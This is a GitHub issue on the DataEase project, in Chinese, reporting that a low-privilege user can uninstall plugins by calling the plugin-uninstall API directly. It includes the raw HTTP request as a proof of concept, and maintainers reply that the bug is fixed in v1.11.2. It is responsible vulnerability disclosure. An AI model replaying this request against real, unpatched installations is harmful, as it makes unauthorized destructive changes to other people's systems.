Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug]普通权限越权卸载插件 #2429

Closed
Ryze-T opened this issue Jun 15, 2022 · 2 comments
Closed

[Bug]普通权限越权卸载插件 #2429

Ryze-T opened this issue Jun 15, 2022 · 2 comments
Assignees
Labels
状态:待反馈 类型:bug Something isn't working

Comments

@Ryze-T
Copy link

Ryze-T commented Jun 15, 2022

DataEase 版本
最新版

运行方式(安装包运行 or 源码运行 ?)
安装包运行

浏览器版本
任意

Bug 描述
普通权限越权卸载插件

Bug 重现步骤(有截图更好)
普通用户无法对插件进行处理,但是通过调用接口可对插件进行卸载:

POST /api/plugin/uninstall/1 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Authorization: xxx
LINK-PWD-TOKEN: null
Connection: close
Content-Length: 0

Authorization为鉴权标准,低权限依然可以调用api/plugin/uninstall接口进行插件卸载:
image
包发送后显示成功:
image
管理员查看插件被卸载,漏洞利用成功:
image

@Ryze-T Ryze-T added the 类型:bug Something isn't working label Jun 15, 2022
@maninhill maninhill changed the title [Bug] [Bug]普通权限越权卸载插件 Jun 15, 2022
@xuwei-fit2cloud
Copy link
Contributor

感谢反馈,我们尽快修复。

@maninhill
Copy link
Contributor

v1.11.2 已修复,详情请参考:https://github.com/dataease/dataease/releases/tag/v1.11.2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
状态:待反馈 类型:bug Something isn't working
Projects
None yet
Development

No branches or pull requests

6 participants